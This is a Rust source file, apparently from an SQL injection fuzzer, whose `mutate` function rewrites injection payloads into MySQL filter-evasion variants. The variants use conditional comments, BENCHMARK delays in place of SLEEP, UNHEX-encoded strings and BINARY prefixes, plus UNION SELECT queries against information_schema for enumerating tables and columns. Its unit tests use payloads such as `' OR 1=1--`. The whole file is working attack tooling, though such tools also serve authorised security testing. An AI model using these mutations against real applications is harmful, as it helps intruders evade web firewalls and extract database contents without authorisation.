pub const CONDITIONAL_COMMENTS: &[&str] = &["/*!50000 ", "/*!00000 ", "/*!"];
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<String> {
let mut results = Vec::new();
let lower = payload.to_ascii_lowercase();
for prefix in CONDITIONAL_COMMENTS {
if results.len() >= max_mutations {
break;
}
if lower.contains("select") {
results.push(payload.replace("SELECT ", &format!("{prefix}SELECT ")));
results.push(payload.replace("select ", &format!("{prefix}select ")));
}
if lower.contains("union") {
results.push(payload.replace("UNION ", &format!("{prefix}UNION ")));
}
}
for item in &mut results {
if item.contains("/*!") && !item.contains("*/") {
*item = format!("{item}*/");
}
}
if lower.contains("from ") {
results.push(
payload
.replace("FROM ", "FROM `")
.replace(" WHERE", "` WHERE"),
);
}
if lower.contains("sleep(") {
results.push(payload.replace("SLEEP(", "BENCHMARK(1000000,MD5(1))"));
results.push(payload.replace("SLEEP(", "BENCHMARK(5000000,SHA1(1))"));
}
if lower.contains("' or ") || lower.contains("' and ") {
results.push(format!(
"'; SET @a=1; SELECT @a;{}",
payload.split("--").last().unwrap_or("")
));
}
if lower.contains("char(") {
results.push(payload.replace("CHAR(", "CONVERT("));
}
if let Some(start) = payload.find('\'')
&& let Some(end) = payload[start + 1..].find('\'')
{
let inner = &payload[start + 1..start + 1 + end];
if !inner.is_empty() && inner.len() <= 20 {
let hex: String = inner.bytes().map(|b| format!("{b:02x}")).collect();
results.push(format!(
"{}UNHEX('{}'){}",
&payload[..start],
hex,
&payload[start + 1 + end + 1..]
));
}
}
if results.len() < max_mutations {
results.push(format!(
"{} UNION SELECT table_name,NULL FROM information_schema.tables--",
payload.trim_end_matches("--").trim_end_matches('#')
));
results.push(format!(
"{} UNION SELECT column_name,NULL FROM information_schema.columns--",
payload.trim_end_matches("--").trim_end_matches('#')
));
}
if lower.contains("select") && results.len() < max_mutations {
results.push(payload.replace("SELECT ", "SELECT GROUP_CONCAT("));
}
if lower.contains("'") && results.len() < max_mutations {
results.push(payload.replacen("'", "BINARY '", 1));
}
results.truncate(max_mutations);
results
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn conditional_comment_generated() {
let mutations = mutate("SELECT * FROM users", 50);
assert!(mutations.iter().any(|m| m.contains("/*!")));
}
#[test]
fn benchmark_alternative() {
let mutations = mutate("SLEEP(5)", 50);
assert!(mutations.iter().any(|m| m.contains("BENCHMARK")));
}
#[test]
fn information_schema_generated() {
let mutations = mutate("' OR 1=1--", 50);
assert!(mutations.iter().any(|m| m.contains("information_schema")));
}
#[test]
fn hex_string_construction() {
let mutations = mutate("' OR 'admin'='admin'--", 50);
assert!(mutations.iter().any(|m| m.contains("UNHEX")));
}
#[test]
fn binary_prefix() {
let mutations = mutate("' OR 1=1--", 50);
assert!(mutations.iter().any(|m| m.contains("BINARY")));
}
}